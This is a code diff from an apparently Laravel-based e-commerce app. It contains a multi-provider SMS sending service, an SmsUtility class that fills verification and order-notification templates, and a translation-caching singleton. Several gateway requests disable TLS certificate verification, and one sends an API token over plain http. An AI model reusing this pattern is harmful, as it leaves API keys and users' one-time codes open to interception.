CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_SSL_VERIFYPEER => 0,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => json_encode($fields),
CURLOPT_HTTPHEADER => array(
"authorization: $auth_key",
"accept: */*",
"cache-control: no-cache",
"content-type: application/json"
),
));
$response = curl_exec($curl);
$err = curl_error($curl);
curl_close($curl);
return $response;
} elseif (OtpConfiguration::where('type', 'mimo')->first()->value == 1) {
$token = MimoUtility::getToken();
MimoUtility::sendMessage($text, $to, $token);
MimoUtility::logout($token);
} elseif (OtpConfiguration::where('type', 'mimsms')->first()->value == 1) {
$url = env('MIM_BASE_URL') . "/smsapi";
$data = [
"api_key" => env('MIM_API_KEY'),
"type" => "text",
"contacts" => $to,
"senderid" => env('MIM_SENDER_ID'),
"msg" => $text,
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
return $response;
} elseif (OtpConfiguration::where('type', 'msegat')->first()->value == 1) {
$url = "https://www.msegat.com/gw/sendsms.php";
$data = [
"apiKey" => env('MSEGAT_API_KEY'),
"numbers" => $to,
"userName" => env('MSEGAT_USERNAME'),
"userSender" => env('MSEGAT_USER_SENDER'),
"msg" => $text
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
return $response;
} elseif (OtpConfiguration::where('type', 'sparrow')->first()->value == 1) {
$url = "http://api.sparrowsms.com/v2/sms/";
$args = http_build_query(array(
"token" => env('SPARROW_TOKEN'),
"from" => env('MESSGAE_FROM'),
"to" => $to,
"text" => $text
));
# Make the call using API.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $args);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// Response
$response = curl_exec($ch);
curl_close($ch);
return $response;
} elseif (OtpConfiguration::where('type', 'zender')->first()->value == 1) {
if (empty(env('ZENDER_SERVICE')) || env('ZENDER_SERVICE') < 2) {
if (!empty(env('ZENDER_DEVICE'))) {
$mode = "devices";
} else {
$mode = "credits";
}
if ($mode == "devices") {
$params = [
"secret" => env('ZENDER_APIKEY'),
"mode" => "devices",
"device" => env('ZENDER_DEVICE'),
"phone" => $to,
"message" => $text,
"sim" => env('ZENDER_SIM') < 2 ? 1 : 2
];
} else {
$params = [
"secret" => env('ZENDER_APIKEY'),
"mode" => "credits",
"gateway" => env('ZENDER_GATEWAY'),
"phone" => $to,
"message" => $text
];
}
$apiurl = env('ZENDER_SITEURL') . "/api/send/sms";
} else {
$params = [
"secret" => env('ZENDER_APIKEY'),
"account" => env('ZENDER_WHATSAPP'),
"type" => "text",
"recipient" => $to,
"message" => $text
];
$apiurl = env('ZENDER_SITEURL') . "/api/send/whatsapp";
}
$args = http_build_query($params);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $apiurl);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $args);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// Response
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
return true;
}
}

View File

@@ -0,0 +1,78 @@
<?php
namespace App\Utility;
use App\Models\OtpConfiguration;
use App\Models\SmsTemplate;
use App\Models\User;
use App\Services\SendSmsService;
class SmsUtility
{
public static function phone_number_verification($user = '')
{
$sms_template = SmsTemplate::where('identifier', 'phone_number_verification')->first();
$sms_body = $sms_template->sms_body;
$sms_body = str_replace('[[code]]', $user->verification_code, $sms_body);
$sms_body = str_replace('[[site_name]]', env('APP_NAME'), $sms_body);
$template_id = $sms_template->template_id;
(new SendSmsService())->sendSMS($user->phone, env('APP_NAME'), $sms_body, $template_id);
}
public static function password_reset($user = '')
{
$sms_template = SmsTemplate::where('identifier', 'password_reset')->first();
$sms_body = $sms_template->sms_body;
$sms_body = str_replace('[[code]]', $user->verification_code, $sms_body);
$template_id = $sms_template->template_id;
(new SendSmsService())->sendSMS($user->phone, env('APP_NAME'), $sms_body, $template_id);
}
public static function order_placement($phone = '', $order = '')
{
$sms_template = SmsTemplate::where('identifier', 'order_placement')->first();
$sms_body = $sms_template->sms_body;
$sms_body = str_replace('[[order_code]]', $order->code, $sms_body);
$template_id = $sms_template->template_id;
(new SendSmsService())->sendSMS($phone, env('APP_NAME'), $sms_body, $template_id);
}
public static function delivery_status_change($phone = '', $order)
{
$sms_template = SmsTemplate::where('identifier', 'delivery_status_change')->first();
$sms_body = $sms_template->sms_body;
$delivery_status = translate(ucfirst(str_replace('_', ' ', $order->delivery_status)));
$sms_body = str_replace('[[delivery_status]]', $delivery_status, $sms_body);
$sms_body = str_replace('[[order_code]]', $order->code, $sms_body);
$template_id = $sms_template->template_id;
(new SendSmsService())->sendSMS($phone, env('APP_NAME'), $sms_body, $template_id);
}
public static function payment_status_change($phone = '', $order = '')
{
$sms_template = SmsTemplate::where('identifier', 'payment_status_change')->first();
$sms_body = $sms_template->sms_body;
$sms_body = str_replace('[[payment_status]]', translate(ucfirst($order->payment_status)), $sms_body);
$sms_body = str_replace('[[order_code]]', $order->code, $sms_body);
$template_id = $sms_template->template_id;
(new SendSmsService())->sendSMS($phone, env('APP_NAME'), $sms_body, $template_id);
}
public static function assign_delivery_boy($phone = '', $code = '')
{
$sms_template = SmsTemplate::where('identifier', 'assign_delivery_boy')->first();
$sms_body = $sms_template->sms_body;
$sms_body = str_replace('[[order_code]]', $code, $sms_body);
$template_id = $sms_template->template_id;
(new SendSmsService())->sendSMS($phone, env('APP_NAME'), $sms_body, $template_id);
}
}

View File

@@ -0,0 +1,68 @@
<?php
namespace App\Utility;
use App\Models\Translation;
class TranslationUtility
{
// Hold the class instance.
private static $instance = null;
private $translations;
// The db connection is established in the private constructor.
private function __construct()
{
$data = Translation::all();
$this->translations = collect($data->toArray())->all();
//$this->translations = collect($data->toArray());
}
public static function getInstance()
{
if (!self::$instance) {
self::$instance = new TranslationUtility();
}
return self::$instance;
}
public static function reInstantiate()
{
self::$instance = new TranslationUtility();
}
public function cached_translation_row($lang_key, $lang)
{
$row = [];
if (empty($this->translations)) {
return $row;
}
foreach ($this->translations as $item) {
if ($item['lang_key'] == $lang_key && $item['lang'] == $lang) {
$row = $item;
break;
}
}
return $row;
}
//The code below also works but it takes more time than the function written above
//$this->translations = collect($data->toArray());
/*public function cached_translation_row($lang_key, $lang)
{
$row = $this->translations->where('lang_key', $lang_key)->where('lang', $lang)->first();
return $row != null ? $row : [];
}*/
public function getAllTranslations()
{
return $this->translations;
}
}